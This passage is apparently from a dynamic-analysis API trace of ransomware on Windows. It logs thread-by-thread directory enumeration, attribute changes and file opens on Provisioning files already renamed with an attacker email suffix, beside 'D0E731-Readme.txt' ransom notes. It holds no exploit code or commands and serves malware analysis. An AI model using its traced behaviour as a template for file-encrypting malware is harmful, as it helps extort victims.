Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.956] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.956] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305d098) returned 1 [0174.956] RtlExitUserThread (Status=0x0) Thread: id = 2334 os_tid = 0x100c [0174.958] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x2f83510 [0174.958] wcscpy (in: _Dest=0x2f83510, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov" [0174.958] wcscat (in: _Dest=0x2f83510, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\" [0174.958] wcscat (in: _Dest=0x2f83510, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\*" [0174.958] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9a258 [0174.958] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\*", lpFindFileData=0x2f9a258 | out: lpFindFileData=0x2f9a258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c0a2be5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c0a2be5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045aa8 [0174.959] wcscmp (_String1=".", _String2=".") returned 0 [0174.959] FindNextFileW (in: hFindFile=0x3045aa8, lpFindFileData=0x2f9a258 | out: lpFindFileData=0x2f9a258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c0a2be5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c0a2be5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.959] wcscmp (_String1="..", _String2=".") returned 1 [0174.959] wcscmp (_String1="..", _String2="..") returned 0 [0174.959] FindNextFileW (in: hFindFile=0x3045aa8, lpFindFileData=0x2f9a258 | out: lpFindFileData=0x2f9a258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c0a2be5, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c0a2be5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c0a2be5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.959] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.959] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.959] FindNextFileW (in: hFindFile=0x3045aa8, lpFindFileData=0x2f9a258 | out: lpFindFileData=0x2f9a258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c77d9d6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c77d9d6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0174.960] wcscmp (_String1="RunTime", _String2=".") returned 1 [0174.960] wcscmp (_String1="RunTime", _String2="..") returned 1 [0174.960] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x4f0b458 [0174.960] wcscpy (in: _Dest=0x4f0b458, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov" [0174.960] wcscat (in: _Dest=0x4f0b458, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\" [0174.960] wcscat (in: _Dest=0x4f0b458, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime" [0175.531] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x4f0b458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x984 [0175.532] FindNextFileW (in: hFindFile=0x3045aa8, lpFindFileData=0x2f9a258 | out: lpFindFileData=0x2f9a258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66020, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66020, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8c0a2be5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x28c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0175.532] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.532] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.532] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x106) returned 0x305d610 [0175.532] wcscpy (in: _Dest=0x305d610, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov" [0175.532] wcscat (in: _Dest=0x305d610, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\" [0175.532] wcscat (in: _Dest=0x305d610, _Source="RunTime.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0175.532] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305d610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x55c [0175.533] FindNextFileW (in: hFindFile=0x3045aa8, lpFindFileData=0x2f9a258 | out: lpFindFileData=0x2f9a258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66020, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66020, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8c0a2be5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x28c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 0 [0175.533] FindClose (in: hFindFile=0x3045aa8 | out: hFindFile=0x3045aa8) returned 1 [0175.533] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9a258) returned 1 [0175.533] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83510) returned 1 [0175.533] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30554d0) returned 1 [0175.533] RtlExitUserThread (Status=0x0) Thread: id = 2335 os_tid = 0x1010 [0174.960] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.961] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.961] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.962] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.962] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f902f8) returned 1 [0174.962] RtlExitUserThread (Status=0x0) Thread: id = 2336 os_tid = 0x1014 [0174.963] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.964] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.964] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.964] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.964] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305cc38) returned 1 [0174.964] RtlExitUserThread (Status=0x0) Thread: id = 2337 os_tid = 0xd24 [0174.966] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x2f835c8 [0174.966] wcscpy (in: _Dest=0x2f835c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov" [0174.966] wcscat (in: _Dest=0x2f835c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\" [0174.966] wcscat (in: _Dest=0x2f835c8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\*" [0174.966] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9a4c0 [0174.966] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\*", lpFindFileData=0x2f9a4c0 | out: lpFindFileData=0x2f9a4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c0c8ed3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c0c8ed3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045328 [0174.967] wcscmp (_String1=".", _String2=".") returned 0 [0174.967] FindNextFileW (in: hFindFile=0x3045328, lpFindFileData=0x2f9a4c0 | out: lpFindFileData=0x2f9a4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c0c8ed3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c0c8ed3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.967] wcscmp (_String1="..", _String2=".") returned 1 [0174.967] wcscmp (_String1="..", _String2="..") returned 0 [0174.967] FindNextFileW (in: hFindFile=0x3045328, lpFindFileData=0x2f9a4c0 | out: lpFindFileData=0x2f9a4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c0c8ed3, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c0c8ed3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c0c8ed3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.967] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.967] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.967] FindNextFileW (in: hFindFile=0x3045328, lpFindFileData=0x2f9a4c0 | out: lpFindFileData=0x2f9a4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c731523, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c731523, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0174.967] wcscmp (_String1="RunTime", _String2=".") returned 1 [0174.967] wcscmp (_String1="RunTime", _String2="..") returned 1 [0174.967] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x4f0b5e8 [0174.967] wcscpy (in: _Dest=0x4f0b5e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov" [0174.967] wcscat (in: _Dest=0x4f0b5e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\" [0174.967] wcscat (in: _Dest=0x4f0b5e8, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime" [0175.529] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x4f0b5e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x980 [0175.529] FindNextFileW (in: hFindFile=0x3045328, lpFindFileData=0x2f9a4c0 | out: lpFindFileData=0x2f9a4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f44caa, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f44caa, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8c0c8ed3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="RUNTIM~1.D0E")) returned 1 [0175.529] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.529] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.529] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x106) returned 0x305d3e0 [0175.529] wcscpy (in: _Dest=0x305d3e0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov" [0175.529] wcscat (in: _Dest=0x305d3e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\" [0175.529] wcscat (in: _Dest=0x305d3e0, _Source="RunTime.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0175.529] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305d3e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc [0175.530] FindNextFileW (in: hFindFile=0x3045328, lpFindFileData=0x2f9a4c0 | out: lpFindFileData=0x2f9a4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f44caa, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f44caa, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8c0c8ed3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="RUNTIM~1.D0E")) returned 0 [0175.530] FindClose (in: hFindFile=0x3045328 | out: hFindFile=0x3045328) returned 1 [0175.530] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9a4c0) returned 1 [0175.530] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f835c8) returned 1 [0175.530] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30569a8) returned 1 [0175.530] RtlExitUserThread (Status=0x0) Thread: id = 2338 os_tid = 0x1a0 [0174.967] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.971] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.971] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.971] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.971] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f901e0) returned 1 [0174.971] RtlExitUserThread (Status=0x0) Thread: id = 2339 os_tid = 0xe88 [0174.972] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.973] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.973] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.974] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.974] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305cd50) returned 1 [0174.974] RtlExitUserThread (Status=0x0) Thread: id = 2340 os_tid = 0xe90 [0174.975] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x2f83680 [0174.975] wcscpy (in: _Dest=0x2f83680, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov" [0174.975] wcscat (in: _Dest=0x2f83680, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\" [0174.975] wcscat (in: _Dest=0x2f83680, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\*" [0174.975] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9a728 [0174.975] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\*", lpFindFileData=0x2f9a728 | out: lpFindFileData=0x2f9a728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c0ef100, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c0ef100, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045368 [0174.975] wcscmp (_String1=".", _String2=".") returned 0 [0174.975] FindNextFileW (in: hFindFile=0x3045368, lpFindFileData=0x2f9a728 | out: lpFindFileData=0x2f9a728*(dwFileAttributes=0x10, 